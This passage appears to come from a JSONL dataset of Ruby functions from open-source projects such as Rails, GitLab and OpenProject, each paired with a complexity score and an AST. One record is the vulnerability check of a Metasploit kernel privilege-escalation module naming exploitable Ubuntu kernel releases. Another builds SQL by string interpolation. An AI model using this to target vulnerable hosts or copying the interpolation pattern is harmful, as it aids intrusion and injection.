rray\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"success=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"errors=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"success?\"]},{\"type\":\"send\",\"children\":[null,\"recalculate_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field_ids\"]},{\"type\":\"lvar\",\"children\":[\"custom_field_ids\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"service_call\"]}]}]}","id":"8f795450-8f78-42b3-9f72-9ae04535bd7c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/recvmmsg_priv_esc.rb","start_line":120,"raw_source":"def check\n    arch = kernel_hardware\n    unless arch.include? 'x86_64'\n      vprint_error \"System architecture #{arch} is not supported\"\n      return CheckCode::Safe\n    end\n    vprint_good \"System architecture #{arch} is supported\"\n\n    version = kernel_version\n    unless version.include? 'Ubuntu'\n      vprint_error \"System kernel #{version} is not based on Ubuntu\"\n      return CheckCode::Safe\n    end\n    vprint_good 'System kernel is based on Ubuntu'\n\n    # Ubuntu 12.x kernels are not supported\n    if version.include? 'precise'\n      vprint_error \"System kernel #{version} is not exploitable\"\n      return CheckCode::Safe\n    end\n\n    release = kernel_release\n    unless release =~ /^3\\.11\\.0-(12|15)-generic/ || release.eql?('3.8.0-19-generic')\n      vprint_error \"Kernel #{release} #{version} is not exploitable\"\n      return CheckCode::Safe\n    end\n    vprint_good \"Kernel #{release} #{version} is exploitable\"\n\n    CheckCode::Appears\n  end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"send\",\"children\":[null,\"kernel_hardware\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"include?\",{\"type\":\"str\",\"children\":[\"x86_64\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"System architecture \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" is not supported\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"System architecture \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" is supported\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"kernel_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Ubuntu\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"System kernel \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is not based on Ubuntu\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"System kernel is based on Ubuntu\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"include?\",{\"type\":\"str\",\"children\":[\"precise\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"System kernel \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is not exploitable\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"release\",{\"type\":\"send\",\"children\":[null,\"kernel_release\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^3\\\\.11\\\\.0-(12|15)-generic\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"3.8.0-19-generic\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Kernel \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is not exploitable\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Kernel \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is exploitable\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]}","id":"849f9083-ed70-4334-ac0c-b8f377ea0819"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":324,"raw_source":"def test_has_many_through_with_custom_primary_key_on_belongs_to_source\n    assert_equal [authors(:david), authors(:david)], posts(:thinking).author_using_custom_pk\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_with_custom_primary_key_on_belongs_to_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]},{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]},\"author_using_custom_pk\"]}]}]}","id":"32185d69-debf-47ee-adf6-f95a906db2ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/health_checks/gitaly_check.rb","start_line":17,"raw_source":"def metrics\n          Gitaly::Server.all.flat_map do |server|\n            result, elapsed = with_timing { server.read_writeable? }\n            labels = { shard: server.storage }\n\n            [\n              metric(\"#{metric_prefix}_success\", result ? 1 : 0, **labels),\n              metric(\"#{metric_prefix}_latency_seconds\", elapsed, **labels)\n            ]\n          end\n        end","complexity_score":19.88,"ast_json":"{\"type\":\"def\",\"children\":[\"metrics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"Server\"]},\"all\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\"]},{\"type\":\"lvasgn\",\"children\":[\"elapsed\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_timing\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"read_writeable?\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shard\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"storage\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metric\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metric_prefix\"]}]},{\"type\":\"str\",\"children\":[\"_success\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"metric\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metric_prefix\"]}]},{\"type\":\"str\",\"children\":[\"_latency_seconds\"]}]},{\"type\":\"lvar\",\"children\":[\"elapsed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]}]}]}]}]}]}]}]}","id":"146d8ebb-b576-4d50-8321-11542567aa45"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/patch.rb","start_line":11,"raw_source":"def self.add_missing_elements(vm, xmlNode, findPath)\n    hashes = xml_to_hashes(xmlNode, findPath)\n    process_array(vm, hashes)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_missing_elements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vm\"]},{\"type\":\"arg\",\"children\":[\"xmlNode\"]},{\"type\":\"arg\",\"children\":[\"findPath\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hashes\",{\"type\":\"send\",\"children\":[null,\"xml_to_hashes\",{\"type\":\"lvar\",\"children\":[\"xmlNode\"]},{\"type\":\"lvar\",\"children\":[\"findPath\"]}]}]},{\"type\":\"send\",\"children\":[null,\"process_array\",{\"type\":\"lvar\",\"children\":[\"vm\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]}]}]}]}","id":"68d91120-65ca-4f75-9e59-20b8eced8c52"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/haml_template_processor.rb","start_line":39,"raw_source":"def find_and_preserve? exp\n    call? exp and\n      PRESERVE_METHODS.include?(exp.method) and\n      exp.first_arg\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_and_preserve?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRESERVE_METHODS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"first_arg\"]}]}]}","id":"6e6465a7-915a-4d47-bd92-19c1346e04d6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/controllers/two_factor_authentication/authentication_controller.rb","start_line":102,"raw_source":"def otp_service_for_verification(user)\n      otp_service(user, use_device: remembered_device(user))\n    rescue ActiveRecord::RecordNotFound\n      render_404\n      false\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"otp_service_for_verification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"otp_service\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_device\"]},{\"type\":\"send\",\"children\":[null,\"remembered_device\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_404\"]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"daf88e38-b66a-4282-bd87-168ce80a8841"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/transfer_service.rb","start_line":339,"raw_source":"def remove_namespace_commit_emails(was_root_group)\n      Users::NamespaceCommitEmail.delete_for_namespace(@group) if was_root_group\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_namespace_commit_emails\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"was_root_group\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"was_root_group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"NamespaceCommitEmail\"]},\"delete_for_namespace\",{\"type\":\"ivar\",\"children\":[\"@group\"]}]},null]}]}","id":"5e3b941c-cca1-4ec3-8937-756ac8e37b30"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/filters/filter_helper.rb","start_line":48,"raw_source":"def handle_additional_attributes(query_hash, filter_operator_value, data_type)\n    if data_type == 'text_case_insensitive'\n      \"LOWER(#{filter_config[:table_name]}.additional_attributes ->> '#{query_hash[:attribute_key]}') \" \\\n        \"#{filter_operator_value} #{query_hash[:query_operator]}\"\n    else\n      \"#{filter_config[:table_name]}.additional_attributes ->> '#{query_hash[:attribute_key]}' \" \\\n        \"#{filter_operator_value} #{query_hash[:query_operator]} \"\n    end\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_additional_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_hash\"]},{\"type\":\"arg\",\"children\":[\"filter_operator_value\"]},{\"type\":\"arg\",\"children\":[\"data_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"text_case_insensitive\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LOWER(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"table_name\"]}]}]},{\"type\":\"str\",\"children\":[\".additional_attributes ->> '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attribute_key\"]}]}]},{\"type\":\"str\",\"children\":[\"') \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_operator_value\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query_operator\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"table_name\"]}]}]},{\"type\":\"str\",\"children\":[\".additional_attributes ->> '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attribute_key\"]}]}]},{\"type\":\"str\",\"children\":[\"' \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_operator_value\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query_operator\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}","id":"6d4d29dc-2113-4a05-a57e-8a5c4b576b82"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/mimir_client.rb","start_line":8,"raw_source":"def initialize(mimir_url:, user:, password:, options: {})\n      @mimir_url = mimir_url.chomp('/')\n\n      super(\"#{@mimir_url}/#{PROMETHEUS_API_ENDPOINT}\", options)\n\n      base64_auth = Base64.strict_encode64(\"#{user}:#{password}\")\n      @options.merge!(\n        headers: {\n          \"Authorization\" => \"Basic #{base64_auth}\"\n        }\n      )\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"mimir_url\"]},{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"password\"]},{\"type\":\"kwoptarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mimir_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mimir_url\"]},\"chomp\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mimir_url\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROMETHEUS_API_ENDPOINT\"]}]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"base64_auth\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Basic \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base64_auth\"]}]}]}]}]}]}]}]}]}]}","id":"e7f0b2b5-ecb5-4318-b934-280558c47cab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/analytics/cycle_analytics/aggregation.rb","start_line":68,"raw_source":"def self.safe_create_for_namespace(target_namespace)\n    # Namespaces::ProjectNamespace has no root_ancestor\n    # Related: https://gitlab.com/gitlab-org/gitlab/-/issues/386124\n    namespace = if target_namespace.is_a?(Group) || target_namespace.is_a?(Namespaces::UserNamespace)\n                  target_namespace\n                else\n                  target_namespace.parent\n                end\n    # personal namespace projects and associated ProjectNamespace respond to `namespace`\n    # and this is close enough to \"root ancestor\"\n    top_level_namespace =\n      target_namespace.respond_to?(:root_ancestor) ? namespace.root_ancestor : namespace.namespace\n    aggregation = find_by(group_id: top_level_namespace.id)\n    return aggregation if aggregation&.enabled?\n\n    # At this point we're sure that the group is licensed, we can always enable the aggregation.\n    # This re-enables the aggregation in case the group downgraded and later upgraded the license.\n    upsert({ group_id: top_level_namespace.id, enabled: true })\n\n    find(top_level_namespace.id)\n  end","complexity_score":21.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"safe_create_for_namespace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_namespace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespace\",{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_namespace\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_namespace\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"UserNamespace\"]}]}]},{\"type\":\"lvar\",\"children\":[\"target_namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_namespace\"]},\"parent\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"top_level_namespace\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_namespace\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"root_ancestor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"root_ancestor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"namespace\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"aggregation\",{\"type\":\"send\",\"children\":[null,\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"top_level_namespace\"]},\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aggregation\"]},\"enabled?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aggregation\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"upsert\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"top_level_namespace\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"top_level_namespace\"]},\"id\"]}]}]}]}","id":"f07949fb-af6b-4a01-88aa-2c1077e274ca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/coders/yaml_column.rb","start_line":68,"raw_source":"def init_with(coder) # :nodoc:\n        unless coder[\"coder\"]\n          permitted_classes = coder[\"permitted_classes\"] || []\n          unsafe_load = coder[\"unsafe_load\"] || false\n          coder[\"coder\"] = SafeCoder.new(permitted_classes: permitted_classes, unsafe_load: unsafe_load)\n        end\n        super(coder)\n      end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"init_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"coder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]\",{\"type\":\"str\",\"children\":[\"coder\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"permitted_classes\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]\",{\"type\":\"str\",\"children\":[\"permitted_classes\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"unsafe_load\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]\",{\"type\":\"str\",\"children\":[\"unsafe_load\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"coder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SafeCoder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permitted_classes\"]},{\"type\":\"lvar\",\"children\":[\"permitted_classes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unsafe_load\"]},{\"type\":\"lvar\",\"children\":[\"unsafe_load\"]}]}]}]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]}]}]}]}","id":"0fc39cd9-f8f1-468f-b6c0-da3c4b33aa2e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/recurring_meetings/init_next_occurrence_job.rb","start_line":47,"raw_source":"def self.delete_jobs(recurring_meeting)\n      concurrency_key = unique_key(recurring_meeting)\n      GoodJob::Job.where(concurrency_key:).delete_all\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"delete_jobs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recurring_meeting\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"concurrency_key\",{\"type\":\"send\",\"children\":[null,\"unique_key\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GoodJob\"]},\"Job\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"concurrency_key\"]},{\"type\":\"lvar\",\"children\":[\"concurrency_key\"]}]}]}]},\"delete_all\"]}]}]}","id":"41174f4e-c2b9-4d3a-8ea8-67680c2f1168"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages_controller.rb","start_line":245,"raw_source":"def load_work_packages\n    @results = @query.results\n    @work_packages =\n      if @query.valid?\n        @results\n          .work_packages\n          .page(page_param)\n          .per_page(per_page_param)\n      else\n        []\n      end\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"load_work_packages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@results\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@query\"]},\"results\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@work_packages\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@query\"]},\"valid?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"work_packages\"]},\"page\",{\"type\":\"send\",\"children\":[null,\"page_param\"]}]},\"per_page\",{\"type\":\"send\",\"children\":[null,\"per_page_param\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"480ef069-1614-44aa-b4d3-70c2ba9fb03a"}
